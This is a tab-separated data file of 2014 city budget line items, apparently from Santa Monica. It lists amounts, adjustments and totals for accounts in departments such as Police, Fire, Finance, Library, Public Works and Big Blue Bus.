9337	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511040.0	COUNCIL/BOARD ALLOWANCE	804.0	Salaries and Wages	2014	108678.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	108678.0
9338	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522620.0	RENT	804.0	 Supplies and Expenses	2014	147115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	147115.0
9339	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
9340	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	3775.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3775.0
9341	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	16476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16476.0
9342	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	923.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	923.0
9343	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	2091.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2091.0
9344	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	27798.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27798.0
9345	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8000.0
9346	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	2050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2050.0
9347	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511490.0	OVERTIME	804.0	Salaries and Wages	2014	4164.0	0	0	0	0.0	0	96.0	0	0	0	0	0.0	4260.0
9348	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9349	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	2600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2600.0
9350	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9351	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2014	1607.0	0	0	0	0.0	0	-1607.0	0	0	0	0	0.0	0.0
9352	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	89175.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	89175.0
9353	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
9354	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	70715.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	70715.0
9355	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	3014959.0	0	0	0	6660.0	57933	20144.0	0	0	0	0	0.0	3099696.0
9356	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	223432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	223432.0
9357	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	193531.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	193531.0
9358	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2014	695014.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	695014.0
9359	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	20500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20500.0
9360	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555110.0	LEGAL EXPENSE	806.0	 Supplies and Expenses	2014	51250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51250.0
9361	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566500.0	RECRUITING	806.0	 Supplies and Expenses	2014	17425.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17425.0
9362	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566870.0	HORSE PATROL	806.0	 Supplies and Expenses	2014	16750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16750.0
9363	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	3194.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3194.0
9364	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2014	3837.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3837.0
9365	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566160.0	CANINE PROGRAM	806.0	 Supplies and Expenses	2014	28550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28550.0
9366	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	1963.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1963.0
9367	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	17425.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17425.0
9368	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	9431.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9431.0
9369	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2014	32352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32352.0
9370	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2014	42267.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42267.0
9371	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	564.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	564.0
9372	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2014	5361.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5361.0
9373	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	17009.0	0	0	0	330.0	0	400.0	0	0	0	0	0.0	17739.0
9374	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2014	136507.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	136507.0
9375	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544030.0	BADGE / AWARD / NAME PLATES	806.0	 Supplies and Expenses	2014	2143.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2143.0
9376	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522930.0	VEHICLES - TIRES / TUBES	806.0	 Supplies and Expenses	2014	5437.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5437.0
9377	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	588080.0	OFFICE EQUIPMENT	806.0	 Supplies and Expenses	2014	12992.0	0	0	0	300.0	0	0.0	0	0	0	0	0.0	13292.0
9378	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	11981475.0	0	0	0	0.0	823895	137060.0	0	0	0	0	0.0	12942430.0
9379	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	143288.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	143288.0
9380	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588050.0	FIRE SUPPRESSION EQUIPMENT	806.0	 Supplies and Expenses	2014	39729.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39729.0
9381	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555017.0	OUTSIDE REPAIRS - BUS EQUIP		 Supplies and Expenses	2014	1230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1230.0
9382	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2014	5125.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5125.0
9383	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
9384	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9385	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2014	603731.0	0	0	0	0.0	19941	-14482.0	0	0	0	0	0.0	609190.0
9386	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2014	94329.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	94329.0
9387	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	6241.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6241.0
9388	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2014	45031.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45031.0
9389	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	14198.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14198.0
9390	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511030.0	DIVE PAY		Salaries and Wages	2014	16362.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16362.0
9391	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2014	16911.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16911.0
9392	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	8670.0	0	0	0	3375.0	920	600.0	0	0	0	0	0.0	13565.0
9393	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	21433.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21433.0
9394	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2014	77314.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77314.0
9395	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	86777.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	86777.0
9396	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2014	40356.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40356.0
9397	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2014	8887.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8887.0
9398	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	5228.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5228.0
9399	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2014	1538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1538.0
9400	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522625.0	OTHER OPERATING RENTS		 Supplies and Expenses	2014	1796.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1796.0
9401	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2014	115500.0	0	0	0	0.0	310	0.0	0	0	0	0	0.0	115810.0
9402	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	3120.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3120.0
9403	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2014	226.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	226.0
9404	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544220.0	REPAIR PARTS AND MATERIALS		 Supplies and Expenses	2014	1178929.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1178929.0
9405	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2014	946237.0	0	0	0	0.0	11462	-14.0	0	0	0	0	0.0	957685.0
9406	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522120.0	UTILITIES - NATURAL GAS	812.0	 Supplies and Expenses	2014	11000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11000.0
9407	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
9408	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	107.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107.0
9409	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	7180.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7180.0
9410	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544120.0	PERIODICALS	816.0	 Supplies and Expenses	2014	409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	409.0
9411	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2014	10550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10550.0
9412	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2014	14010.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14010.0
9413	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	8087.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8087.0
9414	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401990.0	SADDLE FEES	650.0	Charges for Service	2014	-39000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-39000.0
9415	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	405500.0	STORMWATER MGMT USER FEE	650.0	Charges for Service	2014	-1240000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1240000.0
9416	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	9369.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9369.0
9417	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1264428.0	0	0	0	0.0	5242	13262.57	0	0	0	0	0.0	1282932.57
9418	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
9419	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	10857.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10857.0
9420	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	22927.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22927.0
9421	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1833294.0	0	0	0	0.0	23500	-96.0	0	0	0	0	0.0	1856698.0
9422	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	70138.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	70138.0
9423	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	12000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12000.0
9424	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	13500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13500.0
9425	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	91962.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	91962.0
9426	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	35875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35875.0
9427	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	10250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10250.0
9428	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	81.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	81.0
9429	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	2051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2051.0
9430	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	2318620.0	0	0	0	0.0	34916	-60.0	0	0	0	0	0.0	2353476.0
9431	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511490.0	OVERTIME	816.0	Salaries and Wages	2014	10392.0	0	0	0	0.0	0	60.0	0	0	0	0	0.0	10452.0
9432	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	3652.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3652.0
9433	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544400.0	COMMUNITY ARTS GRANT	810.0	 Supplies and Expenses	2014	130000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	130000.0
9434	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	124265.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	124265.0
9435	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	10255.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10255.0
9436	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2014	167551.0	0	0	0	0.0	0	20628.47	0	0	0	0	0.0	188179.47
9437	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	45000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45000.0
9438	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	1453.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1453.0
9439	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	404340.0	INDUSTRIAL WASTE FEES	650.0	Charges for Service	2014	-325000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-325000.0
9440	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	87000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	87000.0
9441	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	108278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	108278.0
9442	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	5266.0	0	0	0	0.0	0	19.0	0	0	0	0	0.0	5285.0
9443	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2014	145213.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	145213.0
9444	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2014	1174.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1174.0
9445	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2014	577219.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	577219.0
9446	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
9447	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522620.0	RENT	806.0	 Supplies and Expenses	2014	1750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1750.0
9448	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	308.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308.0
9449	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	256.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256.0
9450	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	64936.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	64936.0
9451	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555010.0	CONTRACTUAL SERVICES	812.0	 Supplies and Expenses	2014	106600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	106600.0
9452	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555210.0	TRAINING	812.0	 Supplies and Expenses	2014	7200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7200.0
9453	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544070.0	NON-PRINT RESOURCES	812.0	 Supplies and Expenses	2014	222847.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	222847.0
9454	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2014	272402.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	272402.0
9455	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	8500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8500.0
9456	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	17.0	0	0	0	0	0.0	17.0
9457	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	3137.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3137.0
9458	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	805869.0	0	0	0	0.0	0	375000.0	0	0	0	0	0.0	1180869.0
9459	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
9460	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	132000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	132000.0
